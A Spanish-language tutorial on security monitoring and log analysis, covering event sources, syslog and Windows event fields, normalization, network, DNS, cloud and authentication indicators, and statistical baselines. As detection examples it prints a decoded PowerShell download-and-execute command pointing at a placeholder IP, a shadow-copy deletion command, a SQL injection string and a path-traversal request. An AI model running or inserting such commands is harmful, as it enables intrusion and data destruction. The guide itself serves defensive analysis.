Supervisión de seguridad y análisis de registros

Un evento es un acontecimiento observable, como un inicio de sesión o el inicio de un proceso. Un registro de eventos recoge eventos. Una alerta indica que los eventos supervisados han coincidido con una lógica de detección. Un incidente amenaza de forma real o inminente la información o los sistemas, o infringe o amenaza de forma inminente con infringir la ley, las políticas o procedimientos de seguridad o las políticas de uso aceptable. Un analista comprueba las evidencias antes de decidir cómo clasificar una alerta.

Elige una fuente según su perspectiva

Los cortafuegos registran las conexiones permitidas y denegadas. Los proxies y las pasarelas web seguras añaden URL, agentes de usuario y tamaños de transferencia. Las pasarelas VPN muestran sesiones remotas; las herramientas IDS/IPS informan del tráfico que coincide con sus firmas. Los registros de flujo de red, incluidos NetFlow e IPFIX, resumen las comunicaciones por direcciones, puertos, protocolo, hora, paquetes y bytes. Siguen siendo útiles para el tráfico cifrado porque describen sus características, pero no contienen la carga útil.

Los registros de los equipos revelan la actividad detrás de esas conexiones. Los eventos de Security de Windows incluyen autenticación, cambios de cuenta y creación de procesos cuando la auditoría está habilitada. Los registros System y Application muestran servicios y software. Sysmon y EDR añaden detalles de procesos, archivos, registro y red. El registro de bloques de scripts de PowerShell recoge el contenido de los scripts en el evento 4104. Los mensajes de autenticación de Linux suelen aparecer en /var/log/auth.log en sistemas de la familia Debian o en /var/log/secure en sistemas de la familia Red Hat. El diario de systemd se lee con journalctl; auditd registra la actividad seleccionada por sus reglas de auditoría.

Los registros de acceso y errores web, las auditorías de bases de datos y aplicaciones empresariales y las pasarelas de correo explican las solicitudes y el uso de datos. Los hallazgos de antivirus, DLP, WAF y escáneres de vulnerabilidades añaden otra perspectiva. El hallazgo de una herramienta de seguridad sigue siendo un evento que hay que interpretar junto con la actividad subyacente.

Sigue una dirección a través del tiempo

Un proxy registra una descarga realizada por 10.20.30.45 a las 14:02 UTC. La concesión DHCP asigna esa dirección a LAPTOP-0193 de 13:30 a 21:30 ese día. Busca los eventos de procesos de esa laptop alrededor del momento de la descarga. El dispositivo que tiene la concesión hoy podría ser otro; relacionar la dirección sin el intervalo de concesión puede dirigir la investigación al equipo equivocado.

Verifica la recopilación antes de confiar en ella

Comprueba en una muestra real los campos que necesita tu pregunta. El evento 4688 de Windows necesita la directiva de captura de línea de comandos para incluir el texto del comando. El evento de red 3 de Sysmon está deshabilitado de forma predeterminada. Un SIEM solo recibe los datos que se le envían. Da prioridad al detalle útil en activos críticos e identidades con privilegios y comprueba también las conexiones permitidas: una conexión permitida puede transportar un ataque.

El análisis sintáctico extrae campos con nombre de una entrada original. Una búsqueda de un fragmento de texto puede encontrar una línea; los campos analizados permiten contar fallos por usuario, comparar direcciones y ordenar por hora del evento. Conserva la entrada original para poder comprobar la extracción.

Lee primero la estructura

Syslog RFC 5424 comienza con prioridad, versión, marca de tiempo, equipo, aplicación, identificador de proceso, identificador de mensaje, datos estructurados y texto del mensaje. Las marcas de tiempo del formato anterior RFC 3164, como Mar 14 10:15:02, omiten el año y la zona horaria, que deben determinarse a partir del contexto de la fuente.

La prioridad de syslog combina la categoría de origen y la gravedad:

Para <38>, la división entre 8 da la categoría de origen 4 y resto 6, Informativo. Para <34>, la misma categoría tiene gravedad 2, Crítico. Los números de gravedad van de 0 Emergencia a 1 Alerta, 2 Crítico, 3 Error, 4 Advertencia, 5 Aviso, 6 Informativo y 7 Depuración. Un número bajo indica mayor gravedad. Esta es la clasificación de la aplicación emisora: un fallo de SSH clasificado como Informativo aún puede formar parte de un ataque.

Los archivos EVTX de Windows pueden verse como XML o texto representado. La sección System identifica el proveedor, el identificador del evento, la hora de creación en UTC, la computadora y el canal. EventData contiene campos específicos del evento. Para 4625, examina TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName y ProcessName. El tipo 10 significa RemoteInteractive; el tipo 2 significa un inicio de sesión local interactivo. Un mismo identificador de evento puede describir vías de acceso muy distintas.

Extrae los campos según su significado

Los analizadores JSON buscan claves, incluidas rutas anidadas como responseElements.ConsoleLogin. Deben manejar campos ausentes y nulos y cambios en el orden de las claves. Los registros clave-valor etiquetan directamente los valores, como en src=203.0.113.45 dport=3389 action=deny. CEF añade una cabecera separada por barras verticales con proveedor, producto, firma, nombre y gravedad antes de sus extensiones clave-valor; utiliza un analizador que interprete sus caracteres de escape.

En un registro de acceso web de formato combinado, lee la dirección del cliente, la identidad, el usuario autenticado, la hora y el desfase, la solicitud, el estado, los bytes de respuesta, la página de referencia y el agente de usuario. Un guion indica que falta un valor. Los agentes de usuario los proporcionan los clientes, así que el nombre de un escáner es una evidencia útil, pero se puede imitar el nombre de un navegador corriente.

Extrae dos formas de mensajes SSH

Esta expresión regular maneja tanto un nombre de usuario normal como la frase «invalid user»:

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

En Failed password for invalid user admin from 203.0.113.45 port 52114, los valores capturados son admin, 203.0.113.45 y 52114. El grupo opcional no capturador consume «invalid user » sin convertirlo en el nombre de usuario. \S+ captura texto sin espacios; \d+ captura dígitos.

El patrón extrae un valor con forma de dirección; también acepta octetos como 999, por lo que la validación de la dirección es un paso separado. Evita el .* codicioso cuando pueda absorber un separador de campos. Une los registros de varias líneas antes del análisis y supervisa los fallos del analizador después de las actualizaciones de software: un cambio de estructura puede dejar vacíos los campos de detección sin que nadie lo advierta.

La recopilación debe seguir funcionando durante interrupciones habituales e interferencias deliberadas. Una regla precisa tiene poco valor cuando su fuente deja de enviar datos o sus marcas de tiempo sitúan los eventos en el orden equivocado.

Elige y supervisa la vía

Un agente lee los registros locales y puede almacenarlos temporalmente, filtrarlos, cifrarlos y reenviarlos. Las vías sin agentes incluyen syslog, Windows Event Forwarding, el sondeo periódico de API de la nube y las exportaciones a almacenamiento o flujos. Cada vía necesita supervisión de su estado operativo. Syslog por UDP en el puerto 514 no está cifrado ni confirma la entrega. TCP añade entrega fiable; syslog mediante TLS en el puerto 6514 añade cifrado y autenticación del servidor. Utiliza transporte fiable y cifrado a través de redes no fiables y almacena temporalmente los eventos durante las interrupciones del recopilador.

Sincroniza los relojes de las fuentes con un servicio de tiempo fiable, normalmente NTP en UDP 123. Almacena la hora en UTC y conserva el desfase original. La hora del cortafuegos 2026-03-14 10:15:00 +02:00 equivale a 2026-03-14T08:15:00Z. Un reloj de equipo adelantado siete minutos sitúa sus eventos demasiado tarde y puede invertir una cronología. Una deriva grande también interrumpe la autenticación sensible a la hora; Kerberos de Windows permite cinco minutos de forma predeterminada.

La hora del evento registra cuándo ocurrió la actividad. La hora de ingesta registra cuándo la recibió la plataforma. Los eventos almacenados temporalmente y los de la nube pueden llegar tarde. Correlaciona por hora del evento y da a las búsquedas programadas suficiente retraso o un período de búsqueda retrospectiva suficientemente largo para incluir las llegadas tardías.

Protege y conserva el registro

Reenvía rápidamente los registros fuera de los equipos, limita los privilegios de lectura y eliminación, y separa el control de registros de la administración habitual. El almacenamiento inmutable y los resúmenes criptográficos ayudan a detectar o impedir alteraciones. La validación de integridad de CloudTrail utiliza archivos de resumen SHA-256. Supervisa el evento 1102 de Windows para detectar el borrado del registro de auditoría y el 4719 para detectar cambios en la directiva de auditoría, además de acciones de la nube como StopLogging y DeleteTrail. Restringe el acceso porque los registros pueden contener datos personales y sensibles.

El plazo de conservación responde a las necesidades de investigación y a las obligaciones legales, contractuales o normativas aplicables. Por ejemplo, el requisito 10.5.1 de PCI DSS v4.0 exige al menos 12 meses de historial de auditoría y los tres meses más recientes disponibles de inmediato. El almacenamiento reciente y consultable suele llamarse almacenamiento activo; los archivos cuestan menos, pero tardan más en consultarse o restaurarse. Los valores predeterminados por sí solos pueden ser demasiado breves: los registros de auditoría y de inicio de sesión de Entra se conservan 7 días en Free o 30 días en P1/P2, mientras que el historial de eventos de CloudTrail ofrece 90 días de eventos de gestión. La exportación permite una conservación más larga.

Estima el volumen y vigila el silencio

Para 2000 dispositivos finales que producen 5000 eventos cada día de 500 bytes cada uno, el volumen diario original es de 5 000 000 000 bytes, o 5 GB. Noventa días requieren 450 GB; un año requiere 1,825 TB antes de la compresión, la indexación y otros costes de almacenamiento.

Haz un seguimiento del volumen esperado y las señales de actividad de las fuentes críticas, los errores de los recopiladores, la acumulación en las colas y los fallos de análisis sintáctico. «Ningún evento de DC01 durante 30 minutos» es una alerta de estado operativo aunque no se haya activado ninguna alerta de ataque. Un estándar de registro debe especificar las categorías de auditoría, la captura de líneas de comandos, el registro de scripts y el nivel de detalle adecuado para cada tipo de sistema. La recopilación solo de errores omite actividad de seguridad; la recopilación habitual en nivel de depuración puede saturar el almacenamiento.

Un evento de Windows, un mensaje de Linux y un registro de la nube pueden describir el mismo tipo de acción con nombres distintos. La normalización da a esos campos nombres, tipos y convenciones de valores comunes. El enriquecimiento añade información sobre las personas, los sistemas y los destinos implicados.

Normaliza significados, no solo nombres

Para los inicios de sesión fallidos de jdoe desde 203.0.113.45, las tres fuentes pueden convertirse en event.category=authentication, event.outcome=failure, user.name=jdoe y source.ip=203.0.113.45. Una sola regla de autenticación agrupada por origen puede entonces consultar las tres.

Entre los esquemas comunes están ECS, OCSF, CIM y ASIM. Los nombres de campos del ejemplo siguen el estilo de ECS. Un esquema también define los tipos de datos y los valores permitidos. Almacena las direcciones como valores de dirección para que funcionen las búsquedas por subred. Convierte las horas a UTC en formato ISO 8601. Asigna las distintas representaciones de éxito o fallo a un resultado común, utilizando el significado real de la acción de origen. El resultado «permitido» de un cortafuegos describe una decisión sobre una conexión, no una autenticación de usuario exitosa.

Relaciona identidades como EXAMPLE\jdoe, jdoe@example.com y JDOE con la misma cuenta cuando realmente la representen. Es adecuado tratar las mayúsculas y minúsculas como equivalentes cuando la fuente lo hace. Conserva las diferencias cuando importen y evita unir a dos personas solo porque coincidan sus nombres de usuario cortos.

Añade contexto que cambie la pregunta

El enriquecimiento útil incluye el responsable del activo, el sistema operativo, la función en el negocio, la criticidad y la exposición a internet; el departamento del usuario, sus privilegios, si se trata de una cuenta de servicio y su situación laboral; el historial de DHCP; y el propietario de la red, la ubicación aproximada y la reputación de las direcciones públicas.

Una alerta informa de fallos repetidos para svc-backup desde 10.20.30.45. El contexto del activo identifica una laptop de marketing. El contexto de identidad indica que esta cuenta de servicio normalmente solo inicia sesión desde el servidor de copias de seguridad 10.0.8.12. La relación inesperada merece atención incluso antes de que el número de fallos sea grande.

Conoce cuándo se añadió el contexto. El enriquecimiento durante la ingesta conserva el contexto disponible cuando llegó el evento. El enriquecimiento durante la búsqueda suele mostrar el estado actual. El responsable actual de un activo o la asignación actual de una dirección pueden describir incorrectamente eventos antiguos, así que utiliza registros históricos cuando la pregunta se refiera a una propiedad anterior.

Comprueba las asignaciones y las reducciones

La geolocalización puede verse alterada por VPN, operadores móviles, proxies y alojamiento en la nube. La reputación cambia cuando la infraestructura cambia de propietario. Utiliza ambas como evidencias de apoyo y comprueba su antigüedad. Valida las asignaciones de campos frente a muestras originales: asignar un destino a source.ip puede hacer que una regla señale al sistema equivocado.

La eliminación de duplicados elimina las entregas repetidas de un mismo evento. La agregación combina varios eventos, quizá almacenando un recuento para 1000 denegaciones. La agregación ahorra espacio, pero descarta detalles individuales. Conserva los campos y eventos originales que necesitan las detecciones y las investigaciones; filtrarlos en origen crea una brecha que ninguna correlación posterior puede reparar.

Un indicador de compromiso es un artefacto observable que sugiere un compromiso. Un indicador atómico es una dirección, dominio, URL o hash individual. Un indicador de comportamiento es un patrón, como una estación de trabajo que contacta con muchos otros equipos por el puerto 445. Los valores atómicos se comparan con rapidez y son fáciles de sustituir; el comportamiento describe lo que hace el actor.

Interpreta las características de las conexiones

Un escaneo vertical prueba muchos puertos de un equipo. Un barrido horizontal prueba un puerto en muchos equipos. Muchas conexiones denegadas o restablecidas con cantidades mínimas de bytes encajan con un escaneo, pero los escáneres de vulnerabilidades autorizados hacen lo mismo. Compara el origen, el alcance y el horario. Los sondeos de fondo desde internet contra un perímetro tienen un contexto distinto del escaneo realizado por una estación de trabajo interna.

Las relaciones inesperadas importan tanto como los puertos. Las estaciones de trabajo que de repente contactan entre sí mediante SMB 445, RDP 3389 o WinRM 5985/5986 pueden indicar movimiento lateral. Los servidores de gestión y los equipos de salto pueden hacerlo legítimamente. Un servidor de bases de datos que inicia conexiones SSH, una estación de trabajo expuesta a internet que acepta RDP o tráfico cuyo protocolo no corresponde a su puerto merecen una revisión más detenida. Un número de puerto sugiere un servicio; no determina el protocolo real.

Las nuevas direcciones MAC en los registros de DHCP, conmutadores, NAC o controladores inalámbricos pueden revelar dispositivos no autorizados. Compáralas con los registros de inventario e incorporación: una impresora nueva y un dispositivo desconocido en un segmento de servidores crean riesgos distintos.

Examina las repeticiones y los nombres

La comunicación periódica de mando y control consiste en contactos repetidos con el servidor de mando y control. Los tiempos 0, 60, 121, 180, 241, 299, 360, 421, 480 y 540 segundos dan intervalos con una media de 60 segundos y una dispersión de aproximadamente 1,1 segundos. Las solicitudes pequeñas, un agente de usuario repetido y la continuidad durante la noche refuerzan el patrón. Comprueba el proceso que inicia la conexión y el destino porque los actualizadores y la telemetría también contactan con sus servidores. Los atacantes pueden añadir retrasos aleatorios o variación de los intervalos de comunicación.

DNS ofrece otra perspectiva. Un algoritmo de generación de dominios puede producir muchos nombres de aspecto aleatorio y muchas respuestas NXDOMAIN. La tunelización DNS puede producir etiquetas largas, numerosos subdominios únicos bajo un dominio y un volumen inusual de consultas TXT. Una etiqueta DNS está limitada a 63 caracteres. La entropía de Shannon mide la aleatoriedad de los caracteres: example tiene aproximadamente 2,52 bits por carácter, mientras que x9f3kq7z2b8wp1md tiene 4,0. La entropía alta también aparece en nombres legítimos de la nube; combínala con el volumen de consultas, el historial del destino y la antigüedad del dominio.

Sigue el volumen y la dirección

La posible exfiltración incluye transferencias salientes inusualmente grandes a destinos nuevos, horarios inusuales o una relación alta entre datos enviados y recibidos. Un servidor que carga 2,3 GB mientras recibe 40 MB tiene una relación de 57,5 a 1, utilizando unidades decimales. Comprueba las copias de seguridad y las tareas de sincronización conocidas antes de decidir por qué ocurrió. HTTPS oculta el contenido de la carga útil, pero sigue mostrando metadatos útiles de volumen y horario.

NAT puede situar muchos dispositivos detrás de una dirección pública. Identifica el origen interno mediante los registros de NAT, proxy o cortafuegos interno en el momento correspondiente. El país de un destino por sí solo aporta demasiado poco contexto para decidir si una conexión es maliciosa.

La telemetría del equipo relaciona la actividad de red con el programa y el usuario responsables. La creación de procesos es especialmente útil: 4688 de Windows con captura de línea de comandos o 1 de Sysmon muestra el nuevo proceso, la línea de comandos, el proceso padre y el usuario. Sysmon también proporciona hashes e identificadores de procesos útiles para vincular eventos.

Examina el proceso padre y los argumentos

Las herramientas legítimas y firmadas pueden utilizarse indebidamente como binarios legítimos del sistema utilizados con fines maliciosos. certutil.exe puede descargar archivos, mshta.exe puede ejecutar contenido de scripts remotos y rundll32.exe puede cargar una DLL desde una carpeta en la que se puede escribir. vssadmin delete shadows /all /quiet elimina las copias de sombra y puede preceder al ransomware. Evalúa conjuntamente los argumentos, el proceso padre, el usuario, la ruta, el firmante y las acciones circundantes. Un nombre de archivo conocido por sí solo dice poco sobre la intención.

El parámetro -EncodedCommand de PowerShell contiene texto UTF-16LE codificado en Base64. Al decodificar el comando del ejemplo se obtiene iwr http://198.51.100.23/a.ps1|iex: descargar un script y ejecutarlo en memoria. La codificación y las ventanas ocultas también se usan en administración. Lee el contenido decodificado y, cuando esté disponible, el evento 4104 de bloques de scripts.

Busca una vía para volver a entrar

La persistencia permite el acceso después de un reinicio o cierre de sesión. Vigila los nuevos servicios (7045 en System o 4697 en Security), las tareas programadas (4698), los valores Run del Registro (Sysmon 13), los archivos de inicio (Sysmon 11) y las nuevas cuentas locales (4720). En Linux, revisa las entradas de cron, las unidades de systemd y las nuevas claves en ~/.ssh/authorized_keys. Una tarea que apunta a C:\Users\Public\upd.exe necesita una explicación distinta de un despliegue de software documentado.

El borrado de registros (1102), los cambios en la directiva de auditoría (4719), un servicio Sysmon detenido (Sysmon 4) o la eliminación de un agente de EDR pueden indicar manipulación de los mecanismos de supervisión. Comprueba pronto los registros de mantenimiento. Otras pistas son las herramientas de acceso remoto no aprobadas, el acceso inusual a la memoria de lsass.exe (Sysmon 10) y los cambios rápidos en archivos acompañados de notas de rescate. Un uso alto de CPU o GPU puede encajar con minería de criptomonedas, pero compara la carga de trabajo y las tareas programadas; un pico breve es una evidencia débil.

Construye la cadena de ejecución

A las 09:12:04 UTC, Outlook inicia Word con Invoice_8841.docm. A las 09:12:31, Word inicia PowerShell codificado. A las 09:12:33, ese proceso de PowerShell se conecta a 198.51.100.23:80; a las 09:12:40, se escribe upd.exe; a las 09:13:02, una tarea programada lo inicia al iniciar sesión. Vincula los registros de procesos y archivos, no solo las marcas de tiempo cercanas. La cadena muestra entrega, ejecución, descarga y persistencia y justifica escalar la respuesta. La telemetría del equipo ausente debe seguir siendo una brecha visible en el registro.

Los registros web y de aplicaciones revelan actividad oculta dentro de conexiones HTTPS ordinarias. Los registros de acceso describen solicitudes, códigos de respuesta, tamaños y datos declarados por el cliente. Las auditorías de aplicaciones y bases de datos añaden quién accedió a datos, cambió permisos, ejecutó consultas o exportó registros.

Decodifica la solicitud

La codificación porcentual de URL representa bytes con % seguido de dos dígitos hexadecimales. El fragmento id=1%27%20OR%201%3D1--%20 se convierte en id=1' OR 1=1-- , lo que sugiere una inyección SQL. La ruta ..%2F..%2F..%2Fetc%2Fpasswd se convierte en ../../../etc/passwd, lo que sugiere un recorrido de directorios. Otras pistas son UNION SELECT, etiquetas de script o separadores del intérprete seguidos de comandos.

Decodifica las capas en orden. %252e%252e%252f se convierte en %2e%2e%2f y después en ../. Conserva tanto la solicitud original como la interpretación decodificada; sustituir el original hace perder evidencia de cómo se envió la entrada.

Interpreta la secuencia alrededor de la respuesta

Los códigos describen cómo se gestiona HTTP, no el resultado completo de seguridad. Algunas aplicaciones utilizan 200 para páginas de error y un WAF puede devolver una página de bloqueo con 200. El cliente controla el agente de usuario de un escáner. Ni un agente de usuario conocido ni una solicitud bloqueada resuelven la investigación.

En la secuencia del ejemplo, un cliente realiza 412 solicitudes en tres minutos, de las que 398 devuelven 404. Después, una prueba de inyección devuelve 500; una solicitud posterior con UNION SELECT devuelve 200 con 48 210 bytes frente a los 2100 habituales. El aumento de tamaño de unas 23 veces después de las pruebas respalda la posibilidad de exposición de datos. Comprueba las consultas de la base de datos y los eventos de auditoría de la aplicación para establecer qué se devolvió realmente.

Conecta las evidencias de la aplicación y del equipo

Un intérprete de comandos web malicioso es un script que permite a un atacante ejecutar comandos mediante solicitudes web. Un script nuevo en una carpeta de carga, solicitudes POST repetidas desde unos pocos clientes y parámetros como cmd= justifican una investigación. Si además el proceso correspondiente del servidor web inicia cmd.exe o /bin/sh, aporta evidencia directa de ejecución en el equipo.

Vigila también las identidades de aplicación: los éxitos después de fallos, los orígenes inesperados de claves de API, las ráfagas que alcanzan límites de solicitudes y un usuario normal que exporta miles de registros pueden revelar un uso indebido de cuentas. Estos patrones requieren campos de auditoría útiles, no solo registros de errores. Si las solicitudes y los errores aumentan bruscamente después de un despliegue, examina el despliegue y los orígenes de los clientes junto con las hipótesis de ataque; una versión defectuosa o un aumento real del tráfico también pueden causar interrupciones.

Los proveedores de la nube protegen su infraestructura; los clientes deben habilitar, recopilar y revisar la información de supervisión de sus cuentas, identidades y recursos. Los clics en la consola, los scripts, las herramientas de línea de comandos y las plantillas de infraestructura suelen gestionar recursos mediante API. Su registro de auditoría responde quién creó, modificó o eliminó un recurso. La actividad dentro de una máquina virtual o aplicación sigue necesitando registros de la carga de trabajo.

Elige la capa adecuada de la nube

El historial de eventos de CloudTrail ofrece 90 días de eventos de gestión registrados por región. Un historial más largo y una cobertura más amplia requieren una configuración deliberada, y los eventos de datos están desactivados de forma predeterminada. Los registros de Google Admin Activity siempre se escriben y no se pueden deshabilitar; los registros de Data Access están desactivados de forma predeterminada salvo para BigQuery. Habilita la recopilación útil de acceso a datos en recursos sensibles y ten en cuenta su volumen.

Interpreta una acción de la nube campo por campo

En CloudTrail, eventTime está en UTC; eventSource identifica el servicio; eventName identifica la acción de la API. userIdentity identifica a quien realiza la llamada, mientras que requestParameters identifica el objetivo y la configuración solicitados. Lee también sourceIPAddress, userAgent, awsRegion, responseElements y cualquier errorCode o errorMessage.

Para un inicio de sesión en la consola, examina ConsoleLogin desde signin.amazonaws.com, el éxito o fallo en responseElements.ConsoleLogin y additionalEventData.MFAUsed. Para una clave nueva, distingue a quien realiza la llamada del usuario nombrado en requestParameters.userName. Pueden ser identidades distintas.

Reconoce indicadores relacionados de la nube

Una clave robada puede llamar primero a GetCallerIdentity y después enumerar recursos con List, Describe y Get. Los resultados AccessDenied repetidos revelan que se están probando permisos, incluso cuando los controles de acceso impiden la acción. Las credenciales nuevas, la asunción inesperada de roles, el uso de la cuenta raíz o los cambios que exponen los puertos 22/3389 a 0.0.0.0/0 justifican comprobar el contexto. Muchas instancias grandes con GPU en una región no utilizada pueden indicar secuestro de recursos.

En la secuencia del ejemplo, ci-deploy pasa de su dirección habitual de servidor de compilación y agente de usuario de SDK a una dirección nueva y una CLI. Enumera recursos, crea una clave para admin-backup y después llama a StopLogging. Juntas, estas acciones sugieren uso indebido de credenciales, acceso continuado y un intento de dejar sin visibilidad a la supervisión. Escala la respuesta y comprueba fuentes independientes para detectar actividad posterior.

Recopila datos de las regiones y cuentas pertinentes. Los recursos de corta duración pueden desaparecer antes de la evaluación inicial; utiliza identificadores y etiquetas estables de recursos y envía los registros de los equipos a un sistema central. Una dirección compartida de la nube por sí sola no puede identificar a un cliente ni establecer que la actividad pertenece a la automatización habitual de la organización.

Un proveedor de identidad autentica usuarios para muchas aplicaciones. Su registro de inicio de sesión puede mostrar usuario, aplicación, dirección, dispositivo, cliente, método, resultado de MFA, resultado de la directiva y motivo del fallo. Entra separa los inicios de sesión interactivos, no interactivos, de entidades de servicio y de identidades administradas. Una búsqueda limitada a usuarios interactivos omite la actividad de aplicaciones y tokens.

Interpreta la autenticación de Windows

Los controladores de dominio registran la actividad de vales Kerberos (4768, 4769, 4771) y la validación de credenciales NTLM (4776). La computadora a la que se accede registra 4624 para el éxito y 4625 para el fallo. El evento 4740 registra el bloqueo de una cuenta.

En 4625, examina tanto Status como SubStatus. 0xC000006A indica una contraseña incorrecta, 0xC0000064 un nombre de usuario desconocido, 0xC0000072 una cuenta deshabilitada, 0xC0000234 una cuenta bloqueada y 0xC000006F un inicio de sesión fuera del horario permitido. Estos motivos permiten distinguir un problema de contraseña de uno relacionado con la directiva o el estado de la cuenta.

Agrupa eventos para descubrir el ataque

La fuerza bruta realiza muchos intentos de adivinar la contraseña de una cuenta. El rociado de contraseñas prueba una o unas pocas contraseñas probables en muchas cuentas, a menudo sin alcanzar los límites de bloqueo por cuenta. La reutilización de credenciales filtradas prueba pares filtrados de usuario y contraseña. Cuenta los intentos por cuenta y las cuentas distintas por origen, y después busca los éxitos. Los atacantes pueden repartir los intentos entre direcciones, por lo que ninguna de las dos agrupaciones ofrece por sí sola una cobertura completa.

En el ejemplo de rociado, una dirección prueba 46 nombres de usuario una vez cada uno: 41 resultados de contraseña incorrecta y cinco de usuario desconocido. Un inicio de sesión de red posterior y exitoso para m.tanaka desde ese origen aumenta la prioridad. Esto sugiere claramente que se obtuvieron credenciales válidas después del rociado, pero comprueba el paquete de autenticación y la actividad posterior: el tipo 3 también puede utilizar hashes o vales robados.

Comprueba cómo se estableció la sesión

El viaje imposible compara la distancia con el tiempo transcurrido. Madrid y Seúl están separados por unos 10 000 km; recorrerlos en 45 minutos requeriría aproximadamente 13 300 km/h. Comprueba las salidas de VPN, los escritorios alojados, la geolocalización de operadores móviles, los dispositivos y los resultados de las sesiones antes de decidir la causa.

Las notificaciones de MFA denegadas repetidamente y seguidas de una aprobación pueden indicar fatiga de MFA. Una sesión inusual cuya MFA se ha satisfecho mediante un token existente puede reflejar la reutilización de un token. Las vías de autenticación antiguas sin MFA y un nuevo método de MFA registrado después de un inicio de sesión arriesgado también merecen atención. Un paso de MFA completado por sí solo no explica estas situaciones.

Una cuenta de servicio que inicia sesión de forma interactiva, un inicio de sesión exitoso de la cuenta de una persona que ha dejado la organización, o un dispositivo y una ubicación nuevos a la vez pueden indicar acceso robado. Los fallos repetidos a un ritmo constante desde un dispositivo interno suelen encajar con una contraseña antigua guardada. Sigue los fallos hasta los éxitos y las acciones posteriores, y comprueba tanto las identidades de usuario como las de cargas de trabajo.

Un atacante que obtiene acceso puede crear otra credencial o añadir privilegios para seguir operando. Los cambios sensibles en cuentas y roles suelen ser lo bastante poco frecuentes como para revisarlos de cerca, especialmente cuando siguen a un inicio de sesión inusual.

Identifica al actor, el objetivo y el cambio

Examina cinco datos: quién actuó, qué cuenta o recurso se modificó, qué cambió, cuándo y desde dónde. En un evento de cambio de cuenta, el sujeto es el actor y el objetivo es la cuenta afectada. Después compara la acción con una solicitud aprobada y con lo que el actor suele administrar.

Los eventos de Windows incluyen 4720 para la creación de cuentas, 4722 para su habilitación, 4724 para un intento de restablecer la contraseña y 4738 para cambios de cuenta. Las incorporaciones de miembros aparecen como 4728, 4732 y 4756 para grupos de seguridad globales, locales y universales. Revisa grupos sensibles como Domain Admins, Enterprise Admins, Schema Admins y Administrators local. La pertenencia anidada importa: un cambio en un grupo que pertenece a un grupo con privilegios también puede conceder privilegios efectivos.

El evento 4672 asigna privilegios especiales a un nuevo inicio de sesión. Aparece durante el trabajo habitual de administradores y cuentas del sistema. Pregúntate si esta cuenta debería tener los privilegios y si el origen del inicio de sesión es esperado; escalar la respuesta por cada 4672 generaría ruido.

Aplica las mismas preguntas a la nube

En AWS, examina CreateUser, CreateAccessKey, las acciones de asociación de políticas o de políticas insertadas y UpdateAssumeRolePolicy. Un cambio en una política de confianza puede permitir que otra cuenta asuma un rol. Examina el cambio real de permisos o confianza, no solo el nombre de la acción.

Los eventos de auditoría de Entra pueden mostrar incorporaciones a roles, nuevas credenciales de entidades de servicio, consentimiento de aplicaciones, registro de MFA y cambios de acceso condicional. Un secreto o certificado añadido a una identidad de aplicación con muchos privilegios puede conservar el acceso sin una solicitud de MFA a una persona. El consentimiento OAuth puede dar a una aplicación acceso continuado al correo o a los archivos incluso después de que cambie la contraseña del usuario; revisa la propia concesión de consentimiento.

Relaciona los eventos en torno a un cambio de privilegios

A las 23:40 UTC, la cuenta del servicio de asistencia hd-ops3 añade svc-backup a Domain Admins sin un ticket. A las 23:31, el actor había iniciado sesión desde un origen VPN inesperado; a las 23:44, la cuenta objetivo utiliza RDP para acceder a DC02. El actor inusual, la falta de autorización, el acceso arriesgado previo y el uso inmediato del nuevo derecho justifican escalar la respuesta.

Doce cuentas creadas por el servicio de gestión de identidades a las 07:00 y coincidentes con la lista de incorporación cuentan una historia distinta. La autorización es una evidencia que debe comprobarse, no algo que deba suponerse por el nombre de un administrador.

Centra la supervisión en la pertenencia a grupos con privilegios, los roles con muchos permisos, las cuentas de servicio, las credenciales, los consentimientos y los cambios fuera de los canales normales. Vigilar solo la creación de cuentas no detecta a un atacante que modifica una cuenta o aplicación existente. Conserva los identificadores de eventos, los valores anteriores y posteriores y la referencia de autorización en el registro de evaluación inicial para que se pueda revisar la decisión.

Una línea base describe el comportamiento normal de una entidad durante un período de referencia. Una anomalía es una desviación significativa de ella. La actividad inusual necesita una explicación: puede ser un ataque, un cambio en el negocio o un problema de datos.

Compara los elementos adecuados

Una línea base útil puede describir volumen, horarios, relaciones o configuración. Algunos ejemplos son bytes por día, horario laboral habitual, destinos normales, software aprobado y puertos abiertos. Una línea base de grupo de pares compara personas o sistemas que realizan trabajos similares, lo que ayuda cuando una entidad tiene poco historial.

Elige primero la entidad y la métrica. Utiliza varias semanas para captar los ciclos semanales e incluye los picos de fin de mes o trimestre cuando sean relevantes. Elimina los incidentes y las interrupciones conocidos de los datos de entrenamiento. Compara el lunes a las 09:00 con períodos similares de otros lunes, no con un domingo tranquilo. El software nuevo, los cambios organizativos y la actividad estacional requieren una revisión; de lo contrario, los cambios ordinarios se convierten en un flujo de anomalías.

Calcula e interpreta la desviación

La media mide el nivel promedio y la desviación estándar mide la dispersión. Una puntuación z expresa la distancia a la media en unidades de desviación estándar:

Para FS01, los totales de salida de diez días laborables tienen una media de 4,1 GB y una desviación estándar muestral de aproximadamente 0,26 GB. Un umbral de tres desviaciones estándar es de aproximadamente 4,87 GB si se utiliza la dispersión sin redondear. Los 9,6 GB de hoy tienen una puntuación z cercana a 21. Las siguientes búsquedas deben establecer el destino, el proceso o la cuenta y el trabajo programado; la estadística por sí sola no puede indicar una causa.

La media más tres desviaciones estándar es un punto de partida para datos con forma aproximadamente acampanada. Los volúmenes de seguridad suelen estar sesgados, con muchas observaciones pequeñas y unas pocas muy grandes. Las medianas y los percentiles pueden ofrecer comparaciones más útiles. Un umbral por encima del percentil 99 histórico identifica una observación inusualmente grande sin suponer una distribución acampanada. Sigue dependiendo de un período de referencia representativo.

Combina señales débiles por entidad

El análisis del comportamiento de usuarios y entidades, o UEBA, crea perfiles de comportamiento, a menudo mediante aprendizaje automático y grupos de pares. La generación de alertas basada en el riesgo suma las puntuaciones de una misma entidad durante un período. Un inicio de sesión desde un país nuevo valorado en 40 puntos, el primer uso de una herramienta administrativa valorado en 30 y una descarga grande valorada en 45 suman 115 en 24 horas. Con un umbral de 100, la alerta combinada presenta un caso más sólido que tres alertas débiles por separado.

La identidad y la ventana temporal son esenciales. Sumar las puntuaciones de usuarios no relacionados produciría un resultado distinto y engañoso. Las puntuaciones ordenan las evidencias; no son probabilidades salvo que el sistema las defina explícitamente así.

